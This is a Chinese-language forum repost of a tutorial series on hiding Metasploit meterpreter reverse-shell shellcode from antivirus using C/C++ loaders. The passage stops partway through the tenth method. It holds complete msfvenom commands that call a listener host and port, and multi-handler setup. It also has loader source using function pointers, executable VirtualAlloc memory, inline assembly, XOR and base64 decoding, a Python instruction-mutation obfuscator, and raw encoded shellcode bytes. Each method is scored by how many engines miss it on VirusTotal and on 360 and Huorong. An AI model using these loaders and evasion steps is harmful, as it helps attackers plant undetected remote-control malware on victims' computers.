1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。
2、使用加载器加载C/C++代码,如shellcode_launcher之类。

二、C/C++源码编译
2.1 方法1:指针执行(VT免杀率23/71)
这是最常规的一种加载shellcode的方法,使用指针来执行函数,所以免杀效果可能比较一般。
先用Msfvenom生成c语言的shellcode,为了提高免杀效果,使用了shikata_ga_nai编码器。
  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f c -o shell.c
复制代码
把shell.c中的shellcode内容拷贝到下面的buf[]中。
  1. unsigned char buf[] =

  2. "shellcode";

  3. #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口

  4. main()

  5. {

  6.     ( (void(*)(void))&buf)();

  7. }
复制代码
上面的代码中pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")是控制执行后是否显示黑窗口的,不加这句的时候会显示一个黑窗口。可根据自己需要进行设置。
我用vs2017进行编译,先新建空项目
在源文件中创建test.c,写入上面的C代码和shellcode。
然后编译生成exe
在msf中进行监听
  1. use multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set LHOST 10.211.55.2
  4. set LPORT 3333
  5. set EnableStageEncoding true
复制代码
然后执行生成的Project2.exe
msf中可正常上线
打开杀软进行测试,火绒静态和动态都可查杀,360杀毒和卫士没有反应
virustotal.com上查杀率23/71
2.2 方法2:申请动态内存加载(VT免杀率24/71)
下面的代码会申请一段动态内存,然后加载shellcode。
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include <string.h>

  4. #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口

  5. unsigned char buf[] =
  6. "shellcode";


  7. main()

  8. {
  9.     char *Memory;

  10.     Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  11.     memcpy(Memory, buf, sizeof(buf));

  12.     ((void(*)())Memory)();

  13. }
复制代码
还是使用方法1的方式进行编译
msf中可正常上线
打开杀软进行测试,和方法1一样,火绒静态和动态都可查杀,360杀毒和卫士没有反应
virustotal.com上查杀率24/71
2.3 方法3:嵌入汇编加载(VT免杀率12/71)
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #pragma comment(linker, "/section:.data,RWE")
  4. unsigned char shellcode[] ="";

  5. void main()
  6. {

  7.         __asm
  8.     {

  9.         mov eax, offset shellcode
  10.         jmp eax

  11.     }
  12. }
复制代码
在vs2017中编译执行
msf中可正常上线
打开杀软进行测试,这时候发现火绒一个Bug,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。

virustotal.com上查杀率12/71
2.4 方法4:强制类型转换(VT免杀率9/70)
和方法1有些类似
  1. #include <windows.h>
  2. #include <stdio.h>

  3. unsigned char buf[] ="";

  4. void main()
  5. {
  6.    ((void(WINAPI*)(void))&buf)();
  7. }
复制代码
打开杀软测试,静态+动态都没问题,可正常上线
virustotal.com上查杀率9/70
2.5 方法5:汇编花指令(VT免杀率12/69)
和方法3比较类似
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #pragma comment(linker, "/section:.data,RWE")
  4. unsigned char shellcode[] ="";

  5. void main()
  6. {
  7.         __asm
  8.     {

  9.         mov eax, offset shellcode
  10.         _emit 0xFF  
  11.         _emit 0xE0

  12.     }
  13. }
复制代码
打开杀软进行测试,和方法3一样火绒出现bug,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。
virustotal.com上查杀率12/69

三、参考资料

浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-7 08:52:27 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 09:26 编辑

远控免杀专题(27)-C、C++加载shellcode免杀(中)
本文目录:(由于内容较多篇幅较长,分成了上中下三篇文章):
一、C/C++加载shellcode免杀介绍
二、C/C++源码编译
    2.1 方法1:指针执行(VT免杀率23/71)
    2.2 方法2:申请动态内存加载(VT免杀率24/71)
    2.3 方法3:嵌入汇编加载(VT免杀率12/71)
    2.4 方法4:强制类型转换(VT免杀率9/70)
    2.5 方法5:汇编花指令(VT免杀率12/69)
    2.6 方法6:XOR加密(VT免杀率15/71)
    2.7 方法7:base64加密法1(VT免杀率28/69)
    2.8 方法8:base64加密法2(VT免杀率28/69)
    2.9 方法9:python变形shellcode+汇编代码(VT免杀率8/70)
    2.10 方法10:python+xor处理(VT免杀率15/69)
三、使用shellcode加载器
    3.1 使用shellcode_launcher(VT免杀率3/71)
    3.2 使用SSI加载(VT免杀率6/69)
四、参考资料
免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、C/C++加载shellcode免杀介绍

在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。
这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:
1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。
2、使用加载器加载C/C++代码,如shellcode_launcher之类。

2.6 方法6:XOR加密(VT免杀率15/71)

需要使用一个工具https://github.com/Arno0x/ShellcodeWrapper

先用msfvenom生成一个raw格式的shellcode

  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw > shellcode.raw
复制代码

ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。

  1. python shellcode_encoder.<font color="#ff0000">py</font> -cpp -cs -py shellcode.<font color="#ff0000">raw</font> tidesec xor
复制代码
生成了三个文件,一个为C++源码,也是下面要用到的,一个为C#源码,可以使用csc.exe进行加载,还有一个py文件,可直接执行也可以编译成py-exe执行。
其中encryptedShellcodeWrapper_xor.cpp文件中的C++源码如下
  1. <font face="新宋体" size="4">/*
  2. Author: Arno0x0x, Twitter: @Arno0x0x
  3. */

  4. #include "stdafx.h"
  5. #include <windows.h>
  6. #include <iostream>

  7. int main(int argc, char **argv) {

  8.     // Encrypted shellcode and cipher key obtained from shellcode_encoder.py
  9.     char encryptedShellcode[] = "";
  10.     char key[] = "tidesec";
  11.     char cipherType[] = "xor";

  12.     // Char array to host the deciphered shellcode
  13.     char shellcode[sizeof encryptedShellcode];


  14.     // XOR decoding stub using the key defined above must be the same as the encoding key
  15.     int j = 0;
  16.     for (int i = 0; i < sizeof encryptedShellcode; i++) {
  17.         if (j == sizeof key - 1) j = 0;

  18.         shellcode[i] = encryptedShellcode[i] ^ key[j];
  19.         j++;
  20.     }

  21.     // Allocating memory with EXECUTE writes
  22.     void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  23.     // Copying deciphered shellcode into memory as a function
  24.     memcpy(exec, shellcode, sizeof shellcode);

  25.     // Call the shellcode
  26.     ((void(*)())exec)();
  27. }</font>
复制代码
在vs2017中新建win32控制台应用程序
编译执行
可上线
打开杀软进行测试,火绒静态可查杀但是行为检测没报警,360杀毒和卫士没有反应,直接上线。
virustotal.com上查杀率15/71
2.7 方法7:base64加密法1(VT免杀率28/69)

需要两个文件,base64.cbase64.h

base64.c文件内容

  1. /* Base64 encoder/decoder. Originally Apache file ap_base64.c
  2. */

  3. #include <string.h>

  4. #include "base64.h"

  5. /* aaaack but it's fast and const should make it shared text page. */
  6. static const unsigned char pr2six[256] =
  7. {
  8.     /* ASCII table */
  9.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  10.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  11.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
  12.     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
  13.     64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
  14.     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
  15.     64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
  16.     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
  17.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  18.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  19.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  20.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  21.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  22.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  23.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
  24.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
  25. };

  26. int Base64decode_len(const char *bufcoded)
  27. {
  28.     int nbytesdecoded;
  29.     register const unsigned char *bufin;
  30.     register int nprbytes;

  31.     bufin = (const unsigned char *)bufcoded;
  32.     while (pr2six[*(bufin++)] <= 63);

  33.     nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
  34.     nbytesdecoded = ((nprbytes + 3) / 4) * 3;

  35.     return nbytesdecoded + 1;
  36. }

  37. int Base64decode(char *bufplain, const char *bufcoded)
  38. {
  39.     int nbytesdecoded;
  40.     register const unsigned char *bufin;
  41.     register unsigned char *bufout;
  42.     register int nprbytes;

  43.     bufin = (const unsigned char *)bufcoded;
  44.     while (pr2six[*(bufin++)] <= 63);
  45.     nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
  46.     nbytesdecoded = ((nprbytes + 3) / 4) * 3;

  47.     bufout = (unsigned char *)bufplain;
  48.     bufin = (const unsigned char *)bufcoded;

  49.     while (nprbytes > 4) {
  50.         *(bufout++) =
  51.             (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
  52.         *(bufout++) =
  53.             (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
  54.         *(bufout++) =
  55.             (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
  56.         bufin += 4;
  57.         nprbytes -= 4;
  58.     }

  59.     /* Note: (nprbytes == 1) would be an error, so just ingore that case */
  60.     if (nprbytes > 1) {
  61.         *(bufout++) =
  62.             (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
  63.     }
  64.     if (nprbytes > 2) {
  65.         *(bufout++) =
  66.             (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
  67.     }
  68.     if (nprbytes > 3) {
  69.         *(bufout++) =
  70.             (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
  71.     }

  72.     *(bufout++) = '\0';
  73.     nbytesdecoded -= (4 - nprbytes) & 3;
  74.     return nbytesdecoded;
  75. }

  76. static const char basis_64[] =
  77. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

  78. int Base64encode_len(int len)
  79. {
  80.     return ((len + 2) / 3 * 4) + 1;
  81. }

  82. int Base64encode(char *encoded, const char *string, int len)
  83. {
  84.     int i;
  85.     char *p;

  86.     p = encoded;
  87.     for (i = 0; i < len - 2; i += 3) {
  88.         *p++ = basis_64[(string[i] >> 2) & 0x3F];
  89.         *p++ = basis_64[((string[i] & 0x3) << 4) |
  90.             ((int)(string[i + 1] & 0xF0) >> 4)];
  91.         *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
  92.             ((int)(string[i + 2] & 0xC0) >> 6)];
  93.         *p++ = basis_64[string[i + 2] & 0x3F];
  94.     }
  95.     if (i < len) {
  96.         *p++ = basis_64[(string[i] >> 2) & 0x3F];
  97.         if (i == (len - 1)) {
  98.             *p++ = basis_64[((string[i] & 0x3) << 4)];
  99.             //    *p++ = '=';
  100.         }
  101.         else {
  102.             *p++ = basis_64[((string[i] & 0x3) << 4) |
  103.                 ((int)(string[i + 1] & 0xF0) >> 4)];
  104.             *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
  105.         }
  106.         //*p++ = '=';
  107.     }

  108.     *p++ = '\0';
  109.     return p - encoded;
  110. }
复制代码
base64.h文件内容
  1. #ifndef _BASE64_H_
  2. #define _BASE64_H_

  3. #ifdef __cplusplus
  4. extern "C" {
  5. #endif

  6.     int Base64encode_len(int len);
  7.     int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src);

  8.     int Base64decode_len(const char * coded_src);
  9.     int Base64decode(char * plain_dst, const char *coded_src);

  10. #ifdef __cplusplus
  11. }
  12. #endif

  13. #endif //_BASE64_H_
复制代码
shellcode.c
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include <string.h>

  4. #include "base64.h"

  5. unsigned char buf[] =
  6. "msf base64 code here";

  7. int main(int argc, const char * argv[]) {


  8.     char str1[1000] = { 0 };
  9.     Base64decode(str1, buf);

  10.     //printf("%d  ", sizeof(str3));
  11.     char *Memory;
  12.     Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  13.     memcpy(Memory, str1, sizeof(str1));
  14.     ((void(*)())Memory)();
  15.     return 0;
  16. }
复制代码

使用msf生成base64编码的shellcode

  1. msfvenom -p  windows/meterpreter/reverse_tcp --encrypt base64  lhost=10.211.55.2 lport=3333  -f c > shell.c
复制代码

shell.c的内容复制到上面shellcode.c文件中。

使用gcc进行编译

  1. gcc shellcode.c base64.c -o test.exe
复制代码
执行,可正常上线,火绒静态查杀会报毒,但行为检测没有反应,360全通过。
virustotal.com上查杀率为28/69
2.8 方法8:base64加密法2(VT免杀率28/69)
另外一种base64加密方式,和方法7类似,实现代码略有不同。
base64.c
  1. //
  2. //  base64.c
  3. //  base64
  4. //
  5. //  Created by guofu on 2017/5/25.
  6. //  Copyright © 2017年 guofu. All rights reserved.
  7. //
  8. /**
  9. *  转解码过程
  10. *  3 * 8 = 4 * 6; 3字节占24位, 4*6=24
  11. *  先将要编码的转成对应的ASCII值
  12. *  如编码: s 1 3
  13. *  对应ASCII值为: 115 49 51
  14. *  对应二进制为: 01110011 00110001 00110011
  15. *  将其6个分组分4组: 011100 110011 000100 110011
  16. *  而计算机是以8bit存储, 所以在每组的高位补两个0如下:
  17. *  00011100 00110011 00000100 00110011对应:28 51 4 51
  18. *  查找base64 转换表 对应 c z E z
  19. *
  20. *  解码
  21. *  c z E z
  22. *  对应ASCII值为 99 122 69 122
  23. *  对应表base64_suffix_map的值为 28 51 4 51
  24. *  对应二进制值为 00011100 00110011 00000100 00110011
  25. *  依次去除每组的前两位, 再拼接成3字节
  26. *  即: 01110011 00110001 00110011
  27. *  对应的就是s 1 3
  28. */

  29. #include "base64.h"

  30. #include <stdio.h>
  31. #include <stdlib.h>

  32. // base64 转换表, 共64个
  33. static const char base64_alphabet[] = {
  34.     'A', 'B', 'C', 'D', 'E', 'F', 'G',
  35.     'H', 'I', 'J', 'K', 'L', 'M', 'N',
  36.     'O', 'P', 'Q', 'R', 'S', 'T',
  37.     'U', 'V', 'W', 'X', 'Y', 'Z',
  38.     'a', 'b', 'c', 'd', 'e', 'f', 'g',
  39.     'h', 'i', 'j', 'k', 'l', 'm', 'n',
  40.     'o', 'p', 'q', 'r', 's', 't',
  41.     'u', 'v', 'w', 'x', 'y', 'z',
  42.     '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
  43.     '+', '/' };

  44. // 解码时使用
  45. static const unsigned char base64_suffix_map[256] = {
  46.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
  47.     255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  48.     255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
  49.     255, 255, 255, 255, 255, 255, 255,  62, 255, 255, 255,  63,
  50.     52,  53,  54,  55,  56,  57,  58,  59,  60,  61, 255, 255,
  51.     255, 254, 255, 255, 255,   0,   1,   2,   3,   4,   5,   6,
  52.     7,   8,   9,  10,  11,  12,  13,  14,  15,  16,  17,  18,
  53.     19,  20,  21,  22,  23,  24,  25, 255, 255, 255, 255, 255,
  54.     255,  26,  27,  28,  29,  30,  31,  32,  33,  34,  35,  36,
  55.     37,  38,  39,  40,  41,  42,  43,  44,  45,  46,  47,  48,
  56.     49,  50,  51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  57.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  58.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  59.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  60.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  61.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  62.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  63.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  64.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  65.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  66.     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
  67.     255, 255, 255, 255 };

  68. static char cmove_bits(unsigned char src, unsigned lnum, unsigned rnum) {
  69.     src <<= lnum; // src = src << lnum;
  70.     src >>= rnum; // src = src >> rnum;
  71.     return src;
  72. }

  73. int base64_encode(const char *indata, int inlen, char *outdata, int *outlen) {

  74.     int ret = 0; // return value
  75.     if (indata == NULL || inlen == 0) {
  76.         return ret = -1;
  77.     }

  78.     int in_len = 0; // 源字符串长度, 如果in_len不是3的倍数, 那么需要补成3的倍数
  79.     int pad_num = 0; // 需要补齐的字符个数, 这样只有2, 1, 0(0的话不需要拼接, )
  80.     if (inlen % 3 != 0) {
  81.         pad_num = 3 - inlen % 3;
  82.     }
  83.     in_len = inlen + pad_num; // 拼接后的长度, 实际编码需要的长度(3的倍数)

  84.     int out_len = in_len * 8 / 6; // 编码后的长度

  85.     char *p = outdata; // 定义指针指向传出data的首地址

  86.                        //编码, 长度为调整后的长度, 3字节一组
  87.     for (int i = 0; i < in_len; i += 3) {
  88.         int value = *indata >> 2; // 将indata第一个字符向右移动2bit(丢弃2bit)
  89.         char c = base64_alphabet[value]; // 对应base64转换表的字符
  90.         *p = c; // 将对应字符(编码后字符)赋值给outdata第一字节

  91.                 //处理最后一组(最后3字节)的数据
  92.         if (i == inlen + pad_num - 3 && pad_num != 0) {
  93.             if (pad_num == 1) {
  94.                 *(p + 1) = base64_alphabet[(int)(cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4))];
  95.                 *(p + 2) = base64_alphabet[(int)cmove_bits(*(indata + 1), 4, 2)];
  96.                 *(p + 3) = '=';
  97.             }
  98.             else if (pad_num == 2) { // 编码后的数据要补两个 '='
  99.                 *(p + 1) = base64_alphabet[(int)cmove_bits(*indata, 6, 2)];
  100.                 *(p + 2) = '=';
  101.                 *(p + 3) = '=';
  102.             }
  103.         }
  104.         else { // 处理正常的3字节的数据
  105.             *(p + 1) = base64_alphabet[cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4)];
  106.             *(p + 2) = base64_alphabet[cmove_bits(*(indata + 1), 4, 2) + cmove_bits(*(indata + 2), 0, 6)];
  107.             *(p + 3) = base64_alphabet[*(indata + 2) & 0x3f];
  108.         }

  109.         p += 4;
  110.         indata += 3;
  111.     }

  112.     if (outlen != NULL) {
  113.         *outlen = out_len;
  114.     }

  115.     return ret;
  116. }


  117. int base64_decode(const char *indata, int inlen, char *outdata) {

  118.     int ret = 0;
  119.     if (indata == NULL || inlen <= 0 || outdata == NULL ) {
  120.         return ret = -1;
  121.     }
  122.     if (inlen % 4 != 0) { // 需要解码的数据不是4字节倍数
  123.         return ret = -2;
  124.     }

  125.     int t = 0, x = 0, y = 0, i = 0;
  126.     unsigned char c = 0;
  127.     int g = 3;

  128.     while (indata[x] != 0) {
  129.         // 需要解码的数据对应的ASCII值对应base64_suffix_map的值
  130.         c = base64_suffix_map[indata[x++]];
  131.         if (c == 255) return -1;// 对应的值不在转码表中
  132.         if (c == 253) continue;// 对应的值是换行或者回车
  133.         if (c == 254) { c = 0; g--; }// 对应的值是'='
  134.         t = (t << 6) | c; // 将其依次放入一个int型中占3字节
  135.         if (++y == 4) {
  136.             outdata[i++] = (unsigned char)((t >> 16) & 0xff);
  137.             if (g > 1) outdata[i++] = (unsigned char)((t >> 8) & 0xff);
  138.             if (g > 2) outdata[i++] = (unsigned char)(t & 0xff);
  139.             y = t = 0;
  140.         }
  141.     }

  142.     return ret;
  143. }
复制代码
base64.h
  1. #ifndef base64_h
  2. #define base64_h

  3. #include <stdio.h>

  4. #if __cplusplus
  5. extern "C" {
  6. #endif

  7.     int base64_encode(const char *indata, int inlen, char *outdata, int *outlen);
  8.     int base64_decode(const char *indata, int inlen, char *outdata);

  9. #if __cplusplus
  10. }
  11. #endif

  12. #endif /* base64_h */
  13. shellcode.c

  14. #include <stdio.h>
  15. #include <string.h>
  16. #include <Windows.h>

  17. #include "base64.h"

  18. unsigned char buf[] =
  19. "msf base64 code";

  20. int main(int argc, const char * argv[]) {


  21.     char str3[1000] = { 0 };
  22.     //printf("%s ", buf);
  23.     base64_decode(buf, (int)strlen(buf), str3);

  24.     //printf("%d  ", sizeof(str3));

  25.     char *Memory;

  26.     Memory = VirtualAlloc(NULL, sizeof(str3), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  27.     memcpy(Memory, str3, sizeof(str3));

  28.     ((void(*)())Memory)();

  29.     return 0;
  30. }
复制代码

使用msf生成base64编码的shellcode

  1. msfvenom -p  windows/meterpreter/reverse_tcp --encrypt base64  lhost=10.211.55.2 lport=3333  -f c > shell.c
复制代码

shell.c的内容复制到上面shellcode.c文件中。

使用gcc进行编译

  1. gcc shellcode.c base64.c -o test.exe
复制代码
virustotal.com中30/66个报毒
2.9 方法9:python变形shellcode+汇编代码(VT免杀率8/70)
python2环境,需要安装capstone和keystone-engine包。
  1. pip install capstone<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: 新宋体; font-size: large;">
复制代码
其中keystone-engine官方包不能使用pip安装,需手动安装。
  1. 下载 https://pypi.org/project/keystone-engine/#files
  2. 从src/make-common.sh 文件中删除i386。
  3. 手动安装:cd keystone-engine-0.9.1-3sudo python setup.py install
复制代码
  1. from capstone import *
  2. from keystone import *

  3. def assemble(code):
  4.     try:
  5.         ks = Ks(KS_ARCH_X86, KS_MODE_32)
  6.         encoding, count = ks.asm(code)
  7.         return [hex(i) for i in encoding]
  8.     except KsError as e:
  9.         print(e)
  10.         return -1
  11. def byteoffset2index(offset):
  12.     temp=offset
  13.     a=0
  14.     for i in md.disasm(CODE, 0x0):
  15.         temp-=len(i.bytes)
  16.         a+=1
  17.         if temp==0:
  18.             return a
  19. if __name__ == "__main__":
  20.     md = Cs(CS_ARCH_X86, CS_MODE_32)
  21.     controlflow=["jmp","jz","jnz","je","jne","call","jl","ja","loop","jecxz","jle","jge","jg","jp","jnl"]
  22.     registers=["eax","ebx","edx","ebp","esp","edi","esi"]
  23.     CODE = b"\xfc\xe8\  code here";
  24.     asm=";".join([i.mnemonic+" "+i.op_str for i in md.disasm(CODE, 0x0)])
  25.     asmarray=asm.split(";")
  26.     length=len(asmarray)
  27.     tags=[]
  28.     for i in range(0,len(asmarray)):
  29.         for mnemonic in controlflow:
  30.             if (mnemonic in asmarray[i]):
  31.                 tags.append(i)
  32.     mask=[]
  33.     for i in range(0,len(tags)):
  34.         for reg in registers:
  35.             if (reg in asmarray[tags[i]]):
  36.                 mask.append(tags[i])
  37.     [tags.remove(i) for i in mask]
  38.     tagins=[asmarray[i]  for i in tags]
  39.     revision=[]
  40.     for i in range(0,len(tagins)):
  41.         b=tagins[i][tagins[i].index("0x"):]
  42.         n=byteoffset2index(int(b,16))
  43.         revision.append(n)
  44.     revision_unique=list(set(revision))
  45.     for i in range(0,len(revision_unique)):
  46.         asmarray[revision_unique[i]]="a"+str(revision_unique[i])+": "+asmarray[revision_unique[i]]
  47.     tagins=[asmarray[i]  for i in tags]
  48.     for i in range(0,len(tags)):
  49.         asmarray[tags[i]]=tagins[i][:tagins[i].index("0x")]+"a"+str(revision[i])
  50.     obfuscation="nop"
  51.     code=obfuscation+";"+(";"+obfuscation+";").join(asmarray)
  52.     print("unsigned char buf[]="+str(assemble(code)).replace("\'","").replace("[","{").replace("]","}")+";")
  53.     #print("unsigned char buf[]="+str(assemble(code)[::-1]).replace("\'","").replace("[","{").replace("]","}")+";")
复制代码
编译运行
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <Windows.h>

  4. #define fucku __asm{mov eax,eax}

  5. #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口

  6. int main(void) {

  7.     typedef int(*pfunc)(void);
  8.     unsigned char buf[] = { 0x90, 0xfc, 0x90, 0xe8, python_code_here };
  9.     fucku;
  10.     BYTE* sc = (BYTE*)VirtualAlloc(NULL, sizeof(buf) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  11.     fucku;
  12.     fucku;
  13.     //memcpy(sc,buf,sizeof(buf));
  14.     for (int i = 0; i<sizeof(buf); i++) {
  15.         fucku;
  16.         sc[i] = buf[i];
  17.     }
  18.     pfunc shellcode = (pfunc)sc;
  19.     __asm {
  20.         push shellcode
  21.         ret
  22.     }
  23.     //HANDLE lpThread=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,0,NULL);
  24.     //WaitForSingleObject(lpThread,-1);
  25. }
复制代码
360和火绒均能免杀
virustotal.com中8/70个报毒
2.10 方法10:python+xor处理(VT免杀率15/69)
msf生成shellcode
python脚本生成xor代码
  1. import re
  2. raw = r"""
  3. unsigned char buf[] =
  4. "\xba\x28\x95\xf9\xba\xda\xda\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
  5. "\x71\x31\x53\x13\x83\xeb\xfc\x03\x53\x27\x77\x0c\x04\xc8\x12"
  6. "\x29\x57\xed\x10\x6c\xdc\x35\x5f\xd5\x2e\xfc\x2e\x80\x61\x8c"
  7. "\x44\x56\xf0\x64\xe6\x9a\xf0\x99\x78\x66\x8e\x46\x89\xe7\x22"
  8. "\xb3\xb6\x0f\x84\xf4\xc1\xc4\x44\xfc\x96\xce\x59\x7d\xb6\x13"
  9. "\xee\x83\xbf\x4b\x5a\xd7\x17\x76\xb4\x82\xfb\x26\x9c\x35\x20"
  10. "\xfa\xb0\xf5\xc3\xec\xd0\x57\x94\xfa\x35\xfc\x4f\x2e\x45\xf4"
  11. "\xdf\xc9\x7c\x49\xc7\x05\x81\x60\x60\x3f\x2c\x2c\xd9\xb7\x69"
  12. "\xfb\x4f\xe4\x90\x4e\xde\x93\xf2\xb5\x4f\xed\xb6\x01\xeb\x54"
  13. "\xc9\x74\xff\xe4\xd5\xcb\x4a\x44\x2a\xe9\x5c\xe8\x86\xc3\x4e"
  14. "\x8c\x99\x64\xc1\x6d\xcb\x62\x6e\x0a\x0c\x1f\xb3\xb6\x9a\xbc"
  15. "\x11\x2b\x08\xf1\xfb\x77\x42\xb4\x9b\x32\x78\x1a\x30\x93\xa7"
  16. "\xf8\x18\xfb\x1f\xb2\x9b\x06\xae\xcb\x92\xd3\x9e\x7d\x78\xef"
  17. "\x9c\xb0\xe7\x3b\x34\xf1\xd5\xe3\xea\x8f\xb8\xff\x75\xe3\xe6"
  18. "\xe7\x43\xe5\xd8\x9f\xf3\x59\x0e\xb6\x41\x43\xfb\xe7\x2e\x94"
  19. "\x8c\x7b\x61\x21\x7b\x3d\x52\x41\xa8\xd9\x8c\x7c\x2f\x4c\x40"
  20. "\xbf\x82\xed\x96\xfe\xbe\x89\x86\x98\x90\x31\x69\x92\x89\x78"
  21. "\x12\xae\x3a\x36\xe0\xf5\x1a\x8c\xda\xa4\x9f\x60\x49\x42\x5a"
